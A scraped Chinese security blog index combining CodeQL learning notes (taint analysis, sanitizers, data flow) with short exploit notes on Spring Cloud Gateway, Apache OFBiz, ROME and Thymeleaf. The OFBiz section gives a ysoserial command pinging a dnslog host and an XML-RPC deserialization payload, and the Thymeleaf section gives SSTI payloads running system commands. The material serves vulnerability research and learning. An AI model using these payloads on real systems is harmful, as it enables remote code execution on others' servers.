CVE-2022-22947SpringCloud复现及分析

CVE-2022-22947SpringCloud复现及分析

typora的图片传不上来 于是直接转成图片放上来
需要了解漏洞要点的文章链接
https://blog.csdn.net/weixin_44141495/article/details/110160186

https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

https://www.cnblogs.com/liukaifeng/p/10055867.html

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md

https://juejin.cn/post/7021720843898060807

codeql day2

codeql day2

几孤风月,屡变星霜

无聊的元旦🥵

在自动化审计的时候,有可能会出现误报现象,所以为了是codeql在运行的时候不将这些检测出来,我们需要设定sanitizer

1
2
3
4
5
6
7
8
9
10
11
12
13
isSanitizer是CodeQL的类TaintTracking::Configuration提供的净化方法。它的函数原型是:

override predicate isSanitizer(DataFlow::Node node) {}

在CodeQL自带的默认规则里,对当前节点是否为基础类型做了判断。

override predicate isSanitizer(DataFlow::Node node) {
node.getType() instanceof PrimitiveType or
node.getType() instanceof BoxedType or
node.getType() instanceof NumberType
}

表示如果当前节点是上面提到的基础类型,那么此污染链将被净化阻断,漏洞将不存在。

编写source和sink例子

1
2
3
4
5
6
7
8
9
10
11
shiro
from RefType test
where test.hasQualifiedName("com.summersec.shiroctf.Tools","Tools")
select test
也可以这么写
class Deserialize extends RefType{
Deserialize(){
this.hasQualifiedName("com.summersec.shiroctf.Tools", "Tools")
}
}

污点分析介绍(取自ctf all in one)

1
2
3
4
5
6
7
污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中,使用污点分析技术将所感兴趣的数据(通常来自程序的外部输入)标记为污点数据,然后通过跟踪和污点数据相关的信息的流向,可以知道它们是否会影响某些关键的程序操作,进而挖掘程序漏洞。即将程序是否存在某种漏洞的问题转化为污点信息是否会被 Sink 点上的操作所使用的问题。

污点分析常常包括以下几个部分:

识别污点信息在程序中的产生点(Source点)并对污点信息进行标记
利用特定的规则跟踪分析污点信息在程序中的传播过程
在一些关键的程序点(Sink点)检测关键的操作是否会受到污点信息的影响

img

我的理解为在做污点分析时,最起码要sourcesink,而codeql的sanitizersadditionalTainStep为可选

sanitizers是为了防止误判而进行添加的,而additionalTaintStep是使在污点追踪时将节点进行连接使codeql能对漏洞代码进行分析

数据流

本地数据流

对方法内的数据流进行分析,一旦变量跳出该方法即为数据流断开

1
DataFlow为本地数据流库模块,该模块定义的Node类表示在数据流图中的节点。Nodes分为表达式节点(ExprNode)和参数节点(ParameterNode),然后使用asExpr在数据流节点进行映射使用ASParameter对表达式或者参数进行映射

全局数据流

分析要继承DataFlow::Configuration 这个类,然后重载isSourceisSink 方法

1
2
3
4
5
6
7
8
9
10
11
12
class MyConfig extends DataFlow::Configuration {
MyConfig() { this = "Myconfig" }
override predicate isSource(DataFlow::Node source) {
....

}

override predicate isSink(DataFlow::Node sink) {
....

}
}

Codeql Learning day1

Codeql Learning day1

查询结构

clause 子句 predicate谓词 statement语句

cluase 子句

from

定义一个变量

select

where

predictae

predcate 是codeql中的函数

  • 谓词可以在任意地方定义,可以有返回值也可以没有,返回值默认变量为result
  • 谓词名称为小写字母开头,驼峰命名就是一个不错的选择。
  • 参数列表逗号分割,每个参数类型+形参名称。
  • 谓词体,逻辑公式。
  • 抽象谓词和外部谓词是没有实体的 声明; 即可

递归单调聚合

1
2
any(<variable declarations> | <formula> | <expression>)

Cast 类型强转

  • postfix 后缀,x.(Foo) 表示将x限制为Foo类型
  • prefix 前缀,(Foo)x 也表示将x限制为Foo类型

无关表达式

1
2
3
4
from string s
where s = "hello".charAt(_)
select s
any value

Apache Ofbiz反序列化

Apache Ofbiz反序列化

受影响版本 <17.12.04

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping -nc 1 .dnslog.cn" | base64 | tr -d "\n"


<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

https://www.mi1k7ea.com/2021/09/21/%E6%B5%85%E6%9E%90Ofbiz%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-9496%EF%BC%89/#Apache-Ofbiz%E7%AE%80%E4%BB%8B

ROME反序列化

ROME反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()

HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

https://c014.cn/blog/java/ROME/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

Thymeleaf SSTI3.x版本漏洞

Thymeleaf SSTI3.x版本漏洞利用

. ~{templatename::selector} ,会在 /WEB-INF/templates/ ⽬录下寻找名为 templatename 的模版中定义的 fragment

1
2
3
4
5
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInp
utStream()).next()}__::.k
__${T%20(java.lang.Runtime).getRuntime().exec(%22open%20-
a%20calculator%22)}__::.x/

利用条件为return路径可控

如果视图的名字和 path ⼀致的bypass方法

1
在路径后面加一个 ;即可